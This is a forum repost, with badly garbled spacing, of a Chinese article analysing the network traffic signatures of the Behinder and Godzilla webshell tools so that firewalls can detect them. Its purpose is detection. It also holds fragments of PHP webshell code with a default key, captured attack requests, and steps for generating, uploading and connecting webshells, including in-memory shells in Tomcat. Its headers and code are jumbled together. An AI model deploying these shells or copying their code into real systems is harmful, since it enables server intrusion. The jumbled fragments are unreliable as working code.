搜索

[16225] 2020-12-19_冰蝎2和3及哥斯拉Godzilla特征分析

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2020-12-19_冰蝎2和3及哥斯拉Godzilla特征分析 冰 蝎 2 和 3 及 哥 斯 拉 G o d z i l l a 特 征 分 析 V e n d e t t a 2   F r e e B u f   2 0 2 0 - 1 2 - 1 9 冰 蝎 冰 蝎 2 冰 蝎 是 一 款 基 于 J a v a 开 发 的 动 态 加 密 通 信 流 量 的 新 型 W e b s h e l l 客 户 端 。 冰 蝎 工 具 通 信 原 理 冰 蝎 工 具 通 信 原 理 冰 蝎 的 通 信 过 程 可 以 分 为 两 个 阶 段 ： 密 钥 协 商 加 密 传 输 1 ） 第 一 阶 段 - 密 钥 协 商 a . p h p 攻 击 者 通 过 G E T 方 式 请 求 服 务 器 密 钥 ； 当 我 们 输 入 命 令 操 作 后 ， 请 求 方 式 就 会 变 成 P O S T b . j s p 先 通 过 G E T 方 法 ， 向 服 务 器 请 求 随 机 密 钥 同 样 输 入 命 令 后 ， 也 和 P H P 一 样 ， 请 求 方 式 就 变 成 了 P O S T 2 ） 服 务 器 使 用 密 钥 使 用 随 机 数 M D 5 的 高 1 6 位 作 为 密 钥 ， 存 储 到 会 话 的   $ _ S E S S I O N   变 量 中 ， 并 返 回 密 钥 给 攻 击 者 。 3 ） 解 密 刚 才 p h p 请 求 密 钥 的 数 据 包 中 获 取 到 的 密 钥 ： a . 请 求 密 文 b . 输 入 密 钥 和 请 求 密 文 ， 解 密 后 为   b a s e 6 4   编 码 c . b a s e 6 4 解 码 4 ） 特 征 总 结 a . A C C E P T 字 段 冰 蝎 2 默 认 A c c e p t 字 段 的 值 很 特 殊 , 而 且 每 个 阶 段 都 一 样 b . U A 字 段 G E T   / h a c k a b l e / u p l o a d s / s h e l l . p h p ? p a s s = 3 0 0   H T T P / 1 . 1 P O S T   / h a c k a b l e / u p l o a d s / s h e l l . p h p   H T T P / 1 . 1 C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o o k i e :   P H P S E S S I D = l s g i 7 f b 0 9 e n q c n 3 s v m t i 4 e q b o 7 ;   p a t h = / U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   G E T   / s . j s p ? p a s s = 9 8 7   H T T P / 1 . 1 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s ;   U ;   W i n d o w s   N T   6 . 1 ;   )   A p p l e W e b K i t / 5 3 4 . 1 2   ( K H T M L ,   l i k e   G e c k o )   M a x t h o n / 3 . 0   S a f a r i / 5 3 4 . 1 2 H o s t :   1 9 2 . 1 6 8 . 0 . 1 3 2 : 5 5 5 A c c e p t : P O S T   / s . j s p   H T T P / 1 . 1 C o n t e n t - T y p e :   a p p l i c a t i o n / o c t e t - s t r e a m C o o k i e :   J S E S S I O N I D = D 8 9 B 1 3 E 2 9 2 E 0 D 8 D 7 C D 9 4 3 3 5 2 2 F 2 9 3 E D B ;   P a t h = / ;   H t t p O n l y U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s ;   U ;   W i n d o w s   N T   9 5 c 4 e 8 e 4 e e f 4 b 1 a c     / / 服 务 器 返 回 的 密 钥 @ e r r o r _ r e p o r t i n g ( 0 ) ; f u n c t i o n   m a i n ( $ c o n t e n t ) { $ r e s u l t   =   a r r a y ( ) ; $ r e s u l t [ " s t a t u s " ]   =   b a s e 6 4 _ e n c o d e ( " s u c c e s s " ) ; $ r e s u l t [ " m s g " ]   =   b a s e 6 4 _ e n c o d e ( $ c o n t e n t ) ; $ k e y   =   $ _ S E S S I O N [ ' k ' ] ; e c h o A c c e p t :   t e x t / h t m l ,   i m a g e / g i f ,   i m a g e / j p e g ,   * ;   q = . 2 ,   * / * ;   q = . 2
冰 蝎 内 置 了 十 余 种   U s e r A g e n t   ， 每 次 连 接   s h e l l   会 随 机 选 择 一 个 进 行 使 用 。 但 都 是 比 较 老 的 ， 容 易 被 检 测 到 ， 但 是 可 以 在 b u r p 中 修 改 u a 头 。 c . C o n t e n t - L e n g t h C o n t e n t - L e n g t h :   1 6 ,   1 6 就 是 冰 蝎 2 连 接 的 特 征 冰 蝎 冰 蝎 3 对 比 冰 蝎 2 ， 冰 蝎 3 取 消 动 态 密 钥 获 取 ， 目 前 很 多 w a f 等 设 备 都 做 了 冰 蝎 2 的 流 量 特 征 分 析 ， 所 以 3 取 消 了 动 态 密 钥 获 取 ； 只 有 在 无 动 态 密 钥 交 互 失 败 后 ， 才 会 进 入 常 规 的 密 钥 交 互 阶 段 。 密 钥 生 成 可 以 看 出 ， 使 用 密 码 的 m d 5 结 果 的 前 1 6 位 。 特 征 分 析 特 征 分 析 p h p 抓 包 看 包 没 有 发 现 什 么 特 征 ， 但 是 可 以 发 现 它 是 P O S T 请 求 的 1 ） A c c e p t 头 有 a p p l i c a t i o n / x h t m l + x m l a p p l i c a t i o n / x m l a p p l i c a t i o n / s i g n e d - e x c h a n g e 属 于 弱 特 征 2 ） u a 头 该 特 征 属 于 弱 特 征 。 通 过 b u r p 可 以 修 改 , 冰 蝎 3 . 0 内 置 的 默 认 1 6 个 u s e r A g e n t 都 比 较 老 。 现 实 生 活 中 很 少 有 人 使 用 ， 所 以 这 个 也 可 以 作 为 w a f 规 则 特 征 。 j s p 抓 包 特 征 分 析 C o n t e n t - T y p e :   a p p l i c a t i o n / o c t e t - s t r e a m   这 是 一 个 强 特 征 查 阅 资 料 可 知 o c t e t - s t r e a m 的 意 思 是 ， 只 能 提 交 二 进 制 ， 而 且 只 能 提 交 一 个 二 进 制 ， 如 果 提 交 文 件 的 话 ， 只 能 提 交 一 个 文 件 , 后 台 接 收 参 数 只 能 有 一 个 ， 而 且 只 能 是 流 （ 或 者 字 节 数 组 ） ； 很 少 使 用 。 G o d z i l l a 特 征 分 析 特 征 分 析 介 绍 介 绍 哥 斯 拉 是 一 个 基 于 流 量 、 H T T P 全 加 密 的 w e b s h e l l 管 理 工 具 相 对 于 蚁 剑 ， 冰 蝎 ； 哥 斯 拉 具 有 以 下 优 点 。 全 部 类 型 的 s h e l l 均 过 市 面 所 有 静 态 查 杀 流 量 加 密 过 市 面 全 部 流 量 w a f G o d z i l l a 自 带 的 插 件 是 冰 蝎 、 蚁 剑 不 能 比 拟 的 使 用 使 用 （ 1 ） G o d z i l l a 的 运 行 需 要 j a v a 环 境 。 在 c m d 下 切 换 到 哥 斯 拉 所 在 目 录 ， 输 入 此 时 会 在 同 目 录 下 生 成 d a t a . d b 数 据 库 存 放 数 据 （ 2 ） G o d z i l l a 的 w e b s h e l l 可 以 自 定 义 生 成 操 作 方 法 ： 管 理 - 生 成 所 需 的 w e b s h e l l ， 哥 斯 拉 支 持 j s p 、 p h p 、 a s p x 等 多 种 载 荷 j a v a 和 c # 的 载 荷 原 生 实 现 A E S 加 密 P H P 使 用 亦 或 加 密 （ 3 ） 将 生 成 的 w e b s h e l l 上 传 到 目 标 机 器 ， 然 后 在 G o d z i l l a 目 标 栏 添 加 相 应 的 u r l P H P 连 接 特 征 连 接 特 征 （ 1 ） p h p _ X O R _ B A S E 6 4 设 置 代 理 ， 用 b u r p 抓 包 。 截 取 到 特 征 发 现 请 求 都 含 有 ” p a s s = ” 第 一 个 包 第 二 个 包 < ? p h p @ e r r o r _ r e p o r t i n g ( 0 ) ; s e s s i o n _ s t a r t ( ) ; $ k e y = " e 4 5 e 3 2 9 f e b 5 d 9 2 5 b " ;   / / 该 密 钥 为 连 接 密 码 3 2 位 m d 5 值 的 前 1 6 位 ， 默 认 连 接 密 码 r e b e y o n d $ _ S E S S I O N [ ' k ' ] = $ k e y ; P O S T   / h a c k a b l e / u p l o a d s / s h e l l . p h p   H T T P / 1 . 1 C o n t e n t - T y p e :   t e x t / h t m l ; c h a r s e t = u t f - 8 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , i m a g e / a p n g , * / * ; q = 0 . 8 , a p p l i c a t i o n / s i g n e d P O S T   / 3 . j s p   H T T P / 1 . 1 C o n t e n t - T y p e :   a p p l i c a t i o n / o c t e t - s t r e a m A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , i m a g e / a p n g , * / * ; q = 0 . 8 , a p p l i c a t i o n / s i g n e d - e x c h a n g e ; v = b 3 ; j a v a   - j a r G o d z i l l a . j a r P O S T   / h a c k a b l e / u p l o a d s / b a s e . p h p   H T T P / 1 . 1 U s e r - A g e n t :   J a v a / 1 . 8 . 0 _ 1 3 1 H o s t :   1 9 2 . 1 6 8 . 0 . 1 3 2 : 7 7 7 A c c e p t :   t e x t / h t m l ,   i m a g e / g i f ,   i m a g e / j p e g ,   * ;   q = . 2 ,   * / * ;   q = . 2 C o n t e n t - t y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   P O S T   / h a c k a b l e / u p l o a d s / b a s e . p h p   H T T P / 1 . 1 U s e r - A g e n t :   J a v a / 1 . 8 . 0 _ 1 3 1 H o s t :   1 9 2 . 1 6 8 . 0 . 1 3 2 : 7 7 7 A c c e p t :   t e x t / h t m l ,   i m a g e / g i f ,   i m a g e / j p e g ,   * ;   q = . 2 ,   * / * ;   q = . 2 C o n t e n t - t y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   5 1 C o n n e c t i o n :   c l o s e p a s s = A W E z A A N
（ 2 ） p h p _ X O R _ R A W 执 行 l s 和 c a t 命 令 ， 命 令 虽 然 不 同 ， 但 是 发 现 请 求 中 都 含 有 一 样 的 l s 命 令 的 包 c a t 命 令 的 包 当 以 为 这 就 是 特 征 时 就 大 错 特 错 了 ， 这 只 是 这 一 次 连 接 所 含 有 的 特 征 j s p 连 接 特 征 连 接 特 征 （ 1 ） j a v a _ A E S _ B A S E 6 4 与 p h p 请 求 一 样 都 含 有 ” p a s s = ” 而 且 发 起 连 接 时 服 务 器 返 回 的 C o n t e n t - L e n g t h 是 0 （ 2 ） j a v a _ A E S _ R A W 内 存 马 内 存 马 内 存 s h e l l 模 块 实 现 了 在 t o m c a t 中 上 传 一 个 哥 斯 拉 的 马 或 者 冰 蝎 、 菜 刀 的 马 。 甚 至 是 上 传 r e g e o r g 建 立 h t t p 隧 道 。 在 这 里 我 选 择 上 传 一 个 冰 蝎 马 。 然 后 在 冰 蝎 连 接 ， 成 功 连 接 。 内 存 s h e l l   无 日 志 ， 会 在 t o m c a t 重 启 后 消 失 。 精 彩 推 荐 精 彩 推 荐 : • T [ 6 • L 9 e P O S T   / h a c k a b l e / u p l o a d s / g . p h p   H T T P / 1 . 1 C o o k i e :   P H P S E S S I D = o o 9 h n 9 d 3 u q q 7 6 6 1 o 3 o l d u 0 o j o 7 ; U s e r - A g e n t :   J a v a / 1 . 8 . 0 _ 1 3 1 H o s t :   1 9 2 . 1 6 8 . 0 . 1 3 2 : 7 7 7 A c c e p t :   t e x t / h t m l ,   i m a g e / g i f ,   i m a g e / j p e g ,   * ;   q = . 2 ,   * P O S T   / h a c k a b l e / u p l o a d s / g . p h p   H T T P / 1 . 1 C o o k i e :   P H P S E S S I D = o o 9 h n 9 d 3 u q q 7 6 6 1 o 3 o l d u 0 o j o 7 ; U s e r - A g e n t :   J a v a / 1 . 8 . 0 _ 1 3 1 H o s t :   1 9 2 . 1 6 8 . 0 . 1 3 2 : 7 7 7 A c c e p t :   t e x t / h t m l ,   i m a g e / g i f ,   i m a g e / j p e g ,   * ;   P O S T   / g e j s . j s p   H T T P / 1 . 1 U s e r - A g e n t :   J a v a / 1 . 8 . 0 _ 1 3 1 H o s t :   1 9 2 . 1 6 8 . 0 . 1 3 2 : 5 5 5 A c c e p t :   t e x t / h t m l ,   i m a g e / g i f ,   i m a g e / j p e g ,   * ;   q = . 2 ,   * / * ;   q = . 2 C o n t e n t - t y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   P O S T   / r w j . j s p   H T T P / 1 . 1 U s e r - A g e n t :   J a v a / 1 . 8 . 0 _ 1 3 1 H o s t :   1 9 2 . 1 6 8 . 0 . 1 3 2 : 5 5 5 A c c e p t :   t e x t / h t m l ,   i m a g e / g i f ,   i m a g e / j p e g ,   * ;   q = . 2 ,   * / * ;   q = . 2 C o n t e n t - t y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :  
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理